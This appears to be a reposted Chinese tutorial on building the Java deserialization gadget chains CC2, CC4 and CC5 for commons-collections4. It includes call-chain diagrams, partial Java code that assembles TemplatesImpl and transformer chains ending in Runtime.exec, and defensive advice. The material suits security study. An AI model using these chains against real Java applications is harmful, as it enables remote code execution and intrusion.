第110天-Java安全攻防:从0到1手搓CommonsCollectionsGadget(CC2/CC4/CC5)

admin 2026-03-29 23:49:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解Java反序列化漏洞中CommonsCollections4的CC2、CC4、CC5利用链原理。通过剖析PriorityQueue等触发逻辑,提供完整代码实现,总结Gadget构造三要素:找入口、控数据流、引执行。文章兼具攻击构造与防御建议,指导读者掌握手搓Gadget的实战技能。 综合评分: 92 文章分类: 漏洞分析,漏洞POC,实战经验


cover_image

第110天-Java安全攻防:从0到1手搓Commons Collections Gadget (CC2/CC4/CC5)

原创

Сяо Яо Сяо Яо

AlphaNet

2026年3月26日 16:57 韩国

🚀 引言:为什么高手都懂Gadget Chain?

哈喽,各位未来的安全大佬们!在Java安全的世界里,“反序列化漏洞”绝对是绕不开的经典话题。我们之前聊过 commons-collections 3.x 版本的利用链,但技术的脚步从未停歇。当应用升级到 commons-collections 4.x 版本后,旧的攻击方式失效了,新的挑战也随之而来。

很多同学在学习时,习惯于直接使用 ysoserial 工具一键生成Payload,这当然很方便。但真正的安全研究者,不仅知其然,更知其所以然。他们能够手动构造(手搓)Gadget Chain,根据目标环境的差异,灵活调整甚至创造新的利用方式。

这篇硬核干货,就带你深入 commons-collections4 内部,彻底搞懂 CC2、CC4、CC5 三条经典 Gadget 链的底层原理。


🧐 是什么:CC2、CC4、CC5 Gadget Chain简介

  • CC2:基于 PriorityQueue + TransformingComparator + InvokerTransformer

  • CC4:CC2变体,使用 InstantiateTransformer

  • CC5:基于 BadAttributeValueExpException + LazyMap

👉 本质:

利用反序列化 → 触发方法调用链 → 最终执行恶意代码


💥 为什么:Gadget链是如何被触发的?

⚙️ CC2 核心触发逻辑

PriorityQueue.readObject()
 → heapify()
 → siftDown()
 → comparator.compare()
 → TransformingComparator
 → InvokerTransformer
 → TemplatesImpl.newTransformer()
 → RCE

👉 核心点:

利用 PriorityQueue 在反序列化时自动排序触发 compare()


⚙️ CC4(更隐蔽)

区别:

  • 不直接反射调用方法

  • 改为 实例化恶意类

ConstantTransformer → TrAXFilter.class
InstantiateTransformer → new TrAXFilter()
 → TemplatesImpl → RCE

👉 优点:绕过部分检测机制


⚙️ CC5(经典变种)

BadAttributeValueExpException.readObject()
 → toString()
 → TiedMapEntry
 → LazyMap.get()
 → ChainedTransformer
 → Runtime.exec()

👉 核心点:

利用 toString() 触发漏洞(非常隐蔽)


🛠️ 怎么做:核心代码拆解(全部支持横向滚动)


📦 依赖配置

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

⚙️ 反射工具方法

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field declaredField = obj.getClass().getDeclaredField(fieldName);
    declaredField.setAccessible(true);
    declaredField.set(obj, value);
}

💣 构造 TemplatesImpl(核心弹头)

TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecodes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

⚙️ CC2:InvokerTransformer

InvokerTransformer invokerTransformer = new InvokerTransformer(
    "newTransformer",
    new Class[]{},
    new Object[]{}
);

⚙️ CC4:InstantiateTransformer

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
    new Class[]{Templates.class},
    new Object[]{templates}
);

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

⚙️ CC5:ChainedTransformer(命令执行链)

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

🧠 深度理解(真正高手看这里)

Gadget链本质是三件事:

1️⃣ 找入口(Entry Point)

  • readObject()

  • toString()

  • compare()


2️⃣ 控制数据流

  • Map

  • Queue

  • Comparator


3️⃣ 引导执行危险操作

  • 反射调用

  • 类加载

  • 命令执行


👉 一句话总结:

反序列化漏洞 = 可控对象图 + 可触发方法 + 可执行路径


🛡️ 防御建议(必须掌握)

  • ❌ 禁止反序列化不可信数据

  • ✅ 使用白名单(ObjectInputFilter)

  • ❌ 移除危险类(TemplatesImpl)

  • ✅ 升级依赖版本

  • ✅ 使用安全框架(Jackson safe mode)


✨ 总结

| 链 | 特点 | | — | — | | CC2 | PriorityQueue 触发 | | CC4 | 实例化绕过 | | CC5 | toString 隐蔽触发 |


🤔 思考题(拉开差距)

👉 如果入口换成:

  • HashMap

  • Hashtable

还能不能打?

👉 提示:

看看 readObject() + put() + hash() 调用链


💬 结尾

如果你能:

  • 手写 CC2/CC4/CC5

  • 理解调用链

  • 自己拼 Gadget

那你已经超过 90% 的人了。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet Сяо Яо Сяо Яо《第110天-Java安全攻防:从0到1手搓Commons Collections Gadget (CC2/CC4/CC5)》

评论:0   参与:  0